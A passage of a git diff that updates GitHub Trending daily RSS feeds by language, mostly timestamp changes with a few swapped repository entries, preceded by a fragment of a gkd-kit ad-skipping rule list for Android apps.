<li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12534930">快照-0</a></li> </ul> </li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12650280">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>开屏红包弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12650238">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>超市便利页面-红包弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12650713">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/tv.danmaku.bili.ts">tv.danmaku.bili</a> - 哔哩哔哩</h3> <ul> <li><strong>开屏广告</strong> - 开屏广告,切回APP开屏广告</li> <li><strong>评论区顶部公告横幅</strong></li> <li><strong>青少年模式弹窗</strong></li> <li><strong>动态推荐卡片</strong></li> <li><strong>点击关闭广告后出现的弹窗</strong></li> <li><strong>视频底部广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642261">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642260">快照-1</a></li> </ul> </li> <li><strong>推荐页-可跳过广告</strong></li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12649689">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/vstc.AKCXKJ.client.ts">vstc.AKCXKJ.client</a> - FOWL</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12661199">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12661178">快照-1</a></li> </ul> </li> </ul> \ No newline at end of file diff --git a/unified-parallel-c/daily/index.xml b/unified-parallel-c/daily/index.xml index d8556750eab..fd87af86e33 100644 --- a/unified-parallel-c/daily/index.xml +++ b/unified-parallel-c/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unified Parallel C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:11Z + 2023-09-20T01:42:48Z Daily Trending of Unified Parallel C in GitHub \ No newline at end of file diff --git a/unity3d-asset/daily/index.xml b/unity3d-asset/daily/index.xml index 17a1ba7b9f4..a215def53b0 100644 --- a/unity3d-asset/daily/index.xml +++ b/unity3d-asset/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unity3D Asset Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:10Z + 2023-09-20T01:42:47Z Daily Trending of Unity3D Asset in GitHub \ No newline at end of file diff --git a/unix-assembly/daily/index.xml b/unix-assembly/daily/index.xml index bce76f03cba..4790c735237 100644 --- a/unix-assembly/daily/index.xml +++ b/unix-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unix Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:23Z + 2023-09-20T01:43:01Z Daily Trending of Unix Assembly in GitHub \ No newline at end of file diff --git a/unknown/daily/index.xml b/unknown/daily/index.xml index 609618df583..a942c614841 100644 --- a/unknown/daily/index.xml +++ b/unknown/daily/index.xml @@ -1,28 +1,28 @@ GitHub Unknown languages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:00Z + 2023-09-20T01:23:26Z Daily Trending of Unknown languages in GitHub - WooooDyy/LLM-Agent-Paper-List - 2023-09-19T01:24:00Z - tag:github.com,2023-09-19:/WooooDyy/LLM-Agent-Paper-List - - <p>The paper list of the 86-page paper "The Rise and Potential of Large Language Model Based Agents: A Survey" by Zhiheng Xi et al.</p><hr> + CloudHustlers/Google_Cloud_Computing_Foundations + 2023-09-20T01:23:26Z + tag:github.com,2023-09-20:/CloudHustlers/Google_Cloud_Computing_Foundations + + <p>Google Cloud Study Jam Solution of Path Google Cloud Computing Foundations</p><hr> - daveshap/ACE_Framework - 2023-09-19T01:24:00Z - tag:github.com,2023-09-19:/daveshap/ACE_Framework - - <p>Public repo for my latest and greatest cognitive architecture ACE (Autonomous Cognitive Entity) Framework</p><hr> + xiaomabenten/system_architect + 2023-09-20T01:23:26Z + tag:github.com,2023-09-20:/xiaomabenten/system_architect + + <p>💯目前全网最全面的2023年系统架构设计师(软考高级)备考资源库。仅供个人学习,请勿用于商业</p><hr> - David-Summers/Azure-Design - 2023-09-19T01:24:00Z - tag:github.com,2023-09-19:/David-Summers/Azure-Design - - <p>My Azure stencil collection for Visio. Highly functional and always up to date.</p><hr> + 0voice/expert_readed_books + 2023-09-20T01:23:26Z + tag:github.com,2023-09-20:/0voice/expert_readed_books + + <p>2021年最新总结,推荐工程师合适读本,计算机科学,软件技术,创业,思想类,数学类,人物传记书籍</p><hr> \ No newline at end of file diff --git a/uno/daily/index.xml b/uno/daily/index.xml index c75581da05a..32551137851 100644 --- a/uno/daily/index.xml +++ b/uno/daily/index.xml @@ -1,7 +1,7 @@ GitHub Uno Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:24Z + 2023-09-20T01:43:00Z Daily Trending of Uno in GitHub \ No newline at end of file diff --git a/unrealscript/daily/index.xml b/unrealscript/daily/index.xml index 956d4dc8fb4..47889d392b6 100644 --- a/unrealscript/daily/index.xml +++ b/unrealscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub UnrealScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:25Z + 2023-09-20T01:43:02Z Daily Trending of UnrealScript in GitHub \ No newline at end of file diff --git a/urweb/daily/index.xml b/urweb/daily/index.xml index 5b153aac08e..0ebe08c899b 100644 --- a/urweb/daily/index.xml +++ b/urweb/daily/index.xml @@ -1,7 +1,7 @@ GitHub UrWeb Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:23Z + 2023-09-20T01:43:03Z Daily Trending of UrWeb in GitHub \ No newline at end of file diff --git a/v/daily/index.xml b/v/daily/index.xml index 214c7ee890d..615e96a4358 100644 --- a/v/daily/index.xml +++ b/v/daily/index.xml @@ -1,7 +1,7 @@ GitHub V Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:27Z + 2023-09-20T01:43:04Z Daily Trending of V in GitHub \ No newline at end of file diff --git a/vala/daily/index.xml b/vala/daily/index.xml index dab6678b8b3..efa0e336566 100644 --- a/vala/daily/index.xml +++ b/vala/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vala Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:29Z + 2023-09-20T01:43:06Z Daily Trending of Vala in GitHub \ No newline at end of file diff --git a/valve-data-format/daily/index.xml b/valve-data-format/daily/index.xml index 97dc70c8f4b..b718e0dfa7f 100644 --- a/valve-data-format/daily/index.xml +++ b/valve-data-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Valve Data Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:28Z + 2023-09-20T01:43:05Z Daily Trending of Valve Data Format in GitHub \ No newline at end of file diff --git a/vba/daily/index.xml b/vba/daily/index.xml index 416593b254a..119ee15e806 100644 --- a/vba/daily/index.xml +++ b/vba/daily/index.xml @@ -1,7 +1,7 @@ GitHub VBA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:26Z + 2023-09-20T01:43:07Z Daily Trending of VBA in GitHub \ No newline at end of file diff --git a/vbscript/daily/index.xml b/vbscript/daily/index.xml index 9df42dfd41d..806fee71c28 100644 --- a/vbscript/daily/index.xml +++ b/vbscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub VBScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:33Z + 2023-09-20T01:43:09Z Daily Trending of VBScript in GitHub \ No newline at end of file diff --git a/vcl/daily/index.xml b/vcl/daily/index.xml index 3fbc79e8791..bc6fd5d4ff9 100644 --- a/vcl/daily/index.xml +++ b/vcl/daily/index.xml @@ -1,7 +1,7 @@ GitHub VCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:31Z + 2023-09-20T01:43:08Z Daily Trending of VCL in GitHub \ No newline at end of file diff --git a/verilog/daily/index.xml b/verilog/daily/index.xml index 60cb9d53181..7d702d388d3 100644 --- a/verilog/daily/index.xml +++ b/verilog/daily/index.xml @@ -1,7 +1,7 @@ GitHub Verilog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:35Z + 2023-09-20T01:43:12Z Daily Trending of Verilog in GitHub \ No newline at end of file diff --git a/vhdl/daily/index.xml b/vhdl/daily/index.xml index 2b4ea9ea2bc..c2abe204387 100644 --- a/vhdl/daily/index.xml +++ b/vhdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub VHDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:36Z + 2023-09-20T01:43:15Z Daily Trending of VHDL in GitHub \ No newline at end of file diff --git a/vim-help-file/daily/index.xml b/vim-help-file/daily/index.xml index 33205a3325c..8dd32a75cc4 100644 --- a/vim-help-file/daily/index.xml +++ b/vim-help-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vim Help File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:37Z + 2023-09-20T01:43:16Z Daily Trending of Vim Help File in GitHub \ No newline at end of file diff --git a/vim-script/daily/index.xml b/vim-script/daily/index.xml index 0bf6266fe3b..a67eda5087b 100644 --- a/vim-script/daily/index.xml +++ b/vim-script/daily/index.xml @@ -1,14 +1,21 @@ GitHub Vim Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:42Z + 2023-09-20T01:43:19Z Daily Trending of Vim Script in GitHub - derekhe/msfs2020-map-enhancement - 2023-09-19T01:41:42Z - tag:github.com,2023-09-19:/derekhe/msfs2020-map-enhancement - - <p>MSFS2020 Map Enhancement</p><hr> + angn/conf + 2023-09-20T01:43:19Z + tag:github.com,2023-09-20:/angn/conf + + <p></p><hr> + + + pfista/.vim + 2023-09-20T01:43:19Z + tag:github.com,2023-09-20:/pfista/.vim + + <p>My .vim plugins and configs</p><hr> \ No newline at end of file diff --git a/vim-snippet/daily/index.xml b/vim-snippet/daily/index.xml index e1361f4a1c0..ff63cfcf98a 100644 --- a/vim-snippet/daily/index.xml +++ b/vim-snippet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vim Snippet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:39Z + 2023-09-20T01:43:13Z Daily Trending of Vim Snippet in GitHub \ No newline at end of file diff --git a/visual-basic-.net/daily/index.xml b/visual-basic-.net/daily/index.xml index 53e8849a6cb..8a1a64801d0 100644 --- a/visual-basic-.net/daily/index.xml +++ b/visual-basic-.net/daily/index.xml @@ -1,7 +1,7 @@ GitHub Visual Basic .NET Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:46Z + 2023-09-20T01:43:23Z Daily Trending of Visual Basic .NET in GitHub \ No newline at end of file diff --git a/volt/daily/index.xml b/volt/daily/index.xml index 8b7fd6ae587..8a485e1a5fd 100644 --- a/volt/daily/index.xml +++ b/volt/daily/index.xml @@ -1,7 +1,7 @@ GitHub Volt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:44Z + 2023-09-20T01:43:22Z Daily Trending of Volt in GitHub \ No newline at end of file diff --git a/vue/daily/index.xml b/vue/daily/index.xml index a7d20fe504f..1d858243c76 100644 --- a/vue/daily/index.xml +++ b/vue/daily/index.xml @@ -1,28 +1,7 @@ GitHub Vue Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:52Z + 2023-09-20T01:43:28Z Daily Trending of Vue in GitHub - - ljxi/NetworkPanel - 2023-09-19T01:41:52Z - tag:github.com,2023-09-19:/ljxi/NetworkPanel - - <p>测试您的网速,多地查询您的IP地址,同时具备网络延迟实时检测,流量杀手,流量消耗器,流量消失器</p><hr> - - - AirCodeLabs/documate - 2023-09-19T01:41:52Z - tag:github.com,2023-09-19:/AirCodeLabs/documate - - <p>Embed AI chat dialog into your doc site to answer user questions based on your own content.</p><hr> - - - Daniele-rolli/Beaver-Notes - 2023-09-19T01:41:52Z - tag:github.com,2023-09-19:/Daniele-rolli/Beaver-Notes - - <p>Your Personal Note-Taking Haven for Privacy and Efficiency</p><hr> - \ No newline at end of file diff --git a/vyper/daily/index.xml b/vyper/daily/index.xml index da4643854f4..31438774863 100644 --- a/vyper/daily/index.xml +++ b/vyper/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vyper Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:47Z + 2023-09-20T01:43:24Z Daily Trending of Vyper in GitHub \ No newline at end of file diff --git a/wavefront-material/daily/index.xml b/wavefront-material/daily/index.xml index 98167ae3abd..e522189783f 100644 --- a/wavefront-material/daily/index.xml +++ b/wavefront-material/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wavefront Material Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:49Z + 2023-09-20T01:43:25Z Daily Trending of Wavefront Material in GitHub \ No newline at end of file diff --git a/wavefront-object/daily/index.xml b/wavefront-object/daily/index.xml index 9e6a0a87240..bee893f6f3d 100644 --- a/wavefront-object/daily/index.xml +++ b/wavefront-object/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wavefront Object Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:48Z + 2023-09-20T01:43:26Z Daily Trending of Wavefront Object in GitHub \ No newline at end of file diff --git a/wdl/daily/index.xml b/wdl/daily/index.xml index f27c00d96bc..61bcfb8d870 100644 --- a/wdl/daily/index.xml +++ b/wdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub WDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:53Z + 2023-09-20T01:43:31Z Daily Trending of WDL in GitHub \ No newline at end of file diff --git a/web-ontology-language/daily/index.xml b/web-ontology-language/daily/index.xml index 6778b149355..172c4612d76 100644 --- a/web-ontology-language/daily/index.xml +++ b/web-ontology-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Web Ontology Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:54Z + 2023-09-20T01:43:30Z Daily Trending of Web Ontology Language in GitHub \ No newline at end of file diff --git a/webassembly/daily/index.xml b/webassembly/daily/index.xml index 0cb6fc683c0..16d7e6b150b 100644 --- a/webassembly/daily/index.xml +++ b/webassembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebAssembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:55Z + 2023-09-20T01:43:32Z Daily Trending of WebAssembly in GitHub \ No newline at end of file diff --git a/webidl/daily/index.xml b/webidl/daily/index.xml index 4ef60f05048..16be5cb54a5 100644 --- a/webidl/daily/index.xml +++ b/webidl/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebIDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:59Z + 2023-09-20T01:43:36Z Daily Trending of WebIDL in GitHub \ No newline at end of file diff --git a/webvtt/daily/index.xml b/webvtt/daily/index.xml index 0c01e903405..dafd194da6c 100644 --- a/webvtt/daily/index.xml +++ b/webvtt/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebVTT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:58Z + 2023-09-20T01:43:34Z Daily Trending of WebVTT in GitHub \ No newline at end of file diff --git a/wget-config/daily/index.xml b/wget-config/daily/index.xml index 76d78f68dd5..5699e5dc026 100644 --- a/wget-config/daily/index.xml +++ b/wget-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wget Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:57Z + 2023-09-20T01:43:35Z Daily Trending of Wget Config in GitHub \ No newline at end of file diff --git a/wikitext/daily/index.xml b/wikitext/daily/index.xml index bdc82b5e85f..9dd81808000 100644 --- a/wikitext/daily/index.xml +++ b/wikitext/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wikitext Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:04Z + 2023-09-20T01:43:40Z Daily Trending of Wikitext in GitHub \ No newline at end of file diff --git a/windows-registry-entries/daily/index.xml b/windows-registry-entries/daily/index.xml index ed968dbccb5..6f55f67ae4e 100644 --- a/windows-registry-entries/daily/index.xml +++ b/windows-registry-entries/daily/index.xml @@ -1,7 +1,7 @@ GitHub Windows Registry Entries Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:02Z + 2023-09-20T01:43:39Z Daily Trending of Windows Registry Entries in GitHub \ No newline at end of file diff --git a/wisp/daily/index.xml b/wisp/daily/index.xml index 862f6aa91eb..8f633000c17 100644 --- a/wisp/daily/index.xml +++ b/wisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub wisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:06Z + 2023-09-20T01:43:41Z Daily Trending of wisp in GitHub \ No newline at end of file diff --git a/witcher-script/daily/index.xml b/witcher-script/daily/index.xml index 0e6c29fe8c6..b04274c5317 100644 --- a/witcher-script/daily/index.xml +++ b/witcher-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Witcher Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:07Z + 2023-09-20T01:43:43Z Daily Trending of Witcher Script in GitHub \ No newline at end of file diff --git a/wollok/daily/index.xml b/wollok/daily/index.xml index fe9160baad8..539fa45aeea 100644 --- a/wollok/daily/index.xml +++ b/wollok/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wollok Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:08Z + 2023-09-20T01:43:44Z Daily Trending of Wollok in GitHub \ No newline at end of file diff --git a/world-of-warcraft-addon-data/daily/index.xml b/world-of-warcraft-addon-data/daily/index.xml index c8c6ecaf2c7..0e0e9c0e327 100644 --- a/world-of-warcraft-addon-data/daily/index.xml +++ b/world-of-warcraft-addon-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub World of Warcraft Addon Data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:05Z + 2023-09-20T01:43:42Z Daily Trending of World of Warcraft Addon Data in GitHub \ No newline at end of file diff --git a/x-bitmap/daily/index.xml b/x-bitmap/daily/index.xml index b8c768acd37..f8fa5dd0939 100644 --- a/x-bitmap/daily/index.xml +++ b/x-bitmap/daily/index.xml @@ -1,7 +1,7 @@ GitHub X BitMap Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:10Z + 2023-09-20T01:43:47Z Daily Trending of X BitMap in GitHub \ No newline at end of file diff --git a/x-font-directory-index/daily/index.xml b/x-font-directory-index/daily/index.xml index c42a2ebc735..400ac839fa4 100644 --- a/x-font-directory-index/daily/index.xml +++ b/x-font-directory-index/daily/index.xml @@ -1,7 +1,7 @@ GitHub X Font Directory Index Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:12Z + 2023-09-20T01:43:48Z Daily Trending of X Font Directory Index in GitHub \ No newline at end of file diff --git a/x-pixmap/daily/index.xml b/x-pixmap/daily/index.xml index 82fd64059cc..64b6285e505 100644 --- a/x-pixmap/daily/index.xml +++ b/x-pixmap/daily/index.xml @@ -1,7 +1,7 @@ GitHub X PixMap Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:11Z + 2023-09-20T01:43:46Z Daily Trending of X PixMap in GitHub \ No newline at end of file diff --git a/x10/daily/index.xml b/x10/daily/index.xml index dde3cb9434a..c1ae77473c7 100644 --- a/x10/daily/index.xml +++ b/x10/daily/index.xml @@ -1,7 +1,7 @@ GitHub X10 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:13Z + 2023-09-20T01:43:52Z Daily Trending of X10 in GitHub \ No newline at end of file diff --git a/xbase/daily/index.xml b/xbase/daily/index.xml index 7b276976f97..de16fd72427 100644 --- a/xbase/daily/index.xml +++ b/xbase/daily/index.xml @@ -1,7 +1,7 @@ GitHub xBase Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:14Z + 2023-09-20T01:43:51Z Daily Trending of xBase in GitHub \ No newline at end of file diff --git a/xc/daily/index.xml b/xc/daily/index.xml index e0dffc603db..50fbcc6190b 100644 --- a/xc/daily/index.xml +++ b/xc/daily/index.xml @@ -1,7 +1,7 @@ GitHub XC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:14Z + 2023-09-20T01:43:49Z Daily Trending of XC in GitHub \ No newline at end of file diff --git a/xcompose/daily/index.xml b/xcompose/daily/index.xml index 42090607bba..efc5df6b967 100644 --- a/xcompose/daily/index.xml +++ b/xcompose/daily/index.xml @@ -1,7 +1,7 @@ GitHub XCompose Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:15Z + 2023-09-20T01:43:50Z Daily Trending of XCompose in GitHub \ No newline at end of file diff --git a/xml-property-list/daily/index.xml b/xml-property-list/daily/index.xml index 9d571e6ad3a..96eaeac9730 100644 --- a/xml-property-list/daily/index.xml +++ b/xml-property-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub XML Property List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:18Z + 2023-09-20T01:43:55Z Daily Trending of XML Property List in GitHub \ No newline at end of file diff --git a/xml/daily/index.xml b/xml/daily/index.xml index 5b287a94061..278a96934ba 100644 --- a/xml/daily/index.xml +++ b/xml/daily/index.xml @@ -1,7 +1,14 @@ GitHub XML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:17Z + 2023-09-20T01:43:56Z Daily Trending of XML in GitHub + + johnfelipe/juegoplantilla1 + 2023-09-20T01:43:56Z + tag:github.com,2023-09-20:/johnfelipe/juegoplantilla1 + + <p></p><hr><h1>PhoneGap Build App Template</h1> <p><em>Copyright (c) 2012 Daniele Veneroni. Released under MIT License.</em></p> <p>PhoneGap Build App Template is a template (a ready-to-use project) to create web app and it's formatted to be easly wrapped on a stand-alone application using PhoneGap Build to build app for iOS, Android, Windows Phone, BlackBerry, WebOS and Symbian.</p> <p>You can easly replace or modify the resources of the project to create your own app.</p> <h2>Project Structure:</h2> <h3>index.html</h3> <p>Your main page, that's the first page that the app will show when loaded.</p> <h3>manifest.webapp</h3> <p>Open Web App manifest, useful if you wish to create a web app for Firefox or Firefox OS.</p> <h3>manifest.appcache</h3> <p>App cache manifest, useful to declare what resources can be cached and what resources must always reload. It can be used to create an offline web app, or a web Firefox OS app.</p> <h3>config.xml</h3> <p>The configurations file. See <a href="https://build.phonegap.com/docs/config-xml">Using config.xml</a> to learn how to personalize yours. It's already formatted with the most common settings.</p> <h3>icon.png, splash.png</h3> <p>The essential icon and splash screen. These are used only if the the app runs on a device that don't support any of the provided icons or splash screens.</p> <h3>icons folder</h3> <p>Contains all formats of icons required for the various operative systems.</p> <h3>splash folder</h3> <p>Contains all formats of splash screens required for the various operative systems.</p> <h3>lib folder</h3> <p>Contains all the libraries, frameworks, CSS and images needed to the app. Provided frameworks:</p> <ul> <li><strong>add2home</strong> - it makes appear a message to allow the user to create a web app container on iOS from the browser version</li> </ul> + \ No newline at end of file diff --git a/xojo/daily/index.xml b/xojo/daily/index.xml index ce69e14e2b2..99afc366ccc 100644 --- a/xojo/daily/index.xml +++ b/xojo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xojo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:19Z + 2023-09-20T01:43:53Z Daily Trending of Xojo in GitHub \ No newline at end of file diff --git a/xonsh/daily/index.xml b/xonsh/daily/index.xml index 0f7c04ae550..e27c02b42d6 100644 --- a/xonsh/daily/index.xml +++ b/xonsh/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xonsh Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:16Z + 2023-09-20T01:43:56Z Daily Trending of Xonsh in GitHub \ No newline at end of file diff --git a/xpages/daily/index.xml b/xpages/daily/index.xml index b2addf74e94..d8b3236e945 100644 --- a/xpages/daily/index.xml +++ b/xpages/daily/index.xml @@ -1,7 +1,7 @@ GitHub XPages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:23Z + 2023-09-20T01:43:57Z Daily Trending of XPages in GitHub \ No newline at end of file diff --git a/xproc/daily/index.xml b/xproc/daily/index.xml index d294d7acd6b..af86164e4d5 100644 --- a/xproc/daily/index.xml +++ b/xproc/daily/index.xml @@ -1,7 +1,7 @@ GitHub XProc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:22Z + 2023-09-20T01:44:00Z Daily Trending of XProc in GitHub \ No newline at end of file diff --git a/xquery/daily/index.xml b/xquery/daily/index.xml index ca832396aa0..42b459446dd 100644 --- a/xquery/daily/index.xml +++ b/xquery/daily/index.xml @@ -1,7 +1,7 @@ GitHub XQuery Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:20Z + 2023-09-20T01:43:59Z Daily Trending of XQuery in GitHub \ No newline at end of file diff --git a/xs/daily/index.xml b/xs/daily/index.xml index 64d81b3f730..e36838cb81d 100644 --- a/xs/daily/index.xml +++ b/xs/daily/index.xml @@ -1,7 +1,7 @@ GitHub XS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:21Z + 2023-09-20T01:43:58Z Daily Trending of XS in GitHub \ No newline at end of file diff --git a/xslt/daily/index.xml b/xslt/daily/index.xml index ef58b85818b..80ca57f0209 100644 --- a/xslt/daily/index.xml +++ b/xslt/daily/index.xml @@ -1,7 +1,7 @@ GitHub XSLT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:28Z + 2023-09-20T01:44:04Z Daily Trending of XSLT in GitHub \ No newline at end of file diff --git a/xtend/daily/index.xml b/xtend/daily/index.xml index 237b127a350..8cc2bcd4ee6 100644 --- a/xtend/daily/index.xml +++ b/xtend/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xtend Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:25Z + 2023-09-20T01:44:02Z Daily Trending of Xtend in GitHub \ No newline at end of file diff --git a/yacc/daily/index.xml b/yacc/daily/index.xml index e6848b50056..2ad30e51707 100644 --- a/yacc/daily/index.xml +++ b/yacc/daily/index.xml @@ -1,7 +1,7 @@ GitHub Yacc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:24Z + 2023-09-20T01:44:01Z Daily Trending of Yacc in GitHub \ No newline at end of file diff --git a/yaml/daily/index.xml b/yaml/daily/index.xml index b5c27ec1dbf..2597ef5e6be 100644 --- a/yaml/daily/index.xml +++ b/yaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub YAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:27Z + 2023-09-20T01:44:04Z Daily Trending of YAML in GitHub \ No newline at end of file diff --git a/yang/daily/index.xml b/yang/daily/index.xml index b9592ec67df..b59bf9a2406 100644 --- a/yang/daily/index.xml +++ b/yang/daily/index.xml @@ -1,7 +1,7 @@ GitHub YANG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:32Z + 2023-09-20T01:44:08Z Daily Trending of YANG in GitHub \ No newline at end of file diff --git a/yara/daily/index.xml b/yara/daily/index.xml index 317d2ec7de0..81b9cfc7767 100644 --- a/yara/daily/index.xml +++ b/yara/daily/index.xml @@ -1,7 +1,7 @@ GitHub YARA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:31Z + 2023-09-20T01:44:10Z Daily Trending of YARA in GitHub \ No newline at end of file diff --git a/yasnippet/daily/index.xml b/yasnippet/daily/index.xml index fde997a61d5..c531700fd06 100644 --- a/yasnippet/daily/index.xml +++ b/yasnippet/daily/index.xml @@ -1,7 +1,7 @@ GitHub YASnippet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:34Z + 2023-09-20T01:44:09Z Daily Trending of YASnippet in GitHub \ No newline at end of file diff --git a/zap/daily/index.xml b/zap/daily/index.xml index a7b43a6f4b2..fea0ca2a908 100644 --- a/zap/daily/index.xml +++ b/zap/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:37Z + 2023-09-20T01:44:11Z Daily Trending of ZAP in GitHub \ No newline at end of file diff --git a/zeek/daily/index.xml b/zeek/daily/index.xml index b72c93d4e65..8f76b7deac6 100644 --- a/zeek/daily/index.xml +++ b/zeek/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zeek Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:35Z + 2023-09-20T01:44:14Z Daily Trending of Zeek in GitHub \ No newline at end of file diff --git a/zenscript/daily/index.xml b/zenscript/daily/index.xml index 70f49b09207..b4586b4b4d4 100644 --- a/zenscript/daily/index.xml +++ b/zenscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZenScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:38Z + 2023-09-20T01:44:13Z Daily Trending of ZenScript in GitHub \ No newline at end of file diff --git a/zephir/daily/index.xml b/zephir/daily/index.xml index 53f381f0e07..74d0c0ae5a8 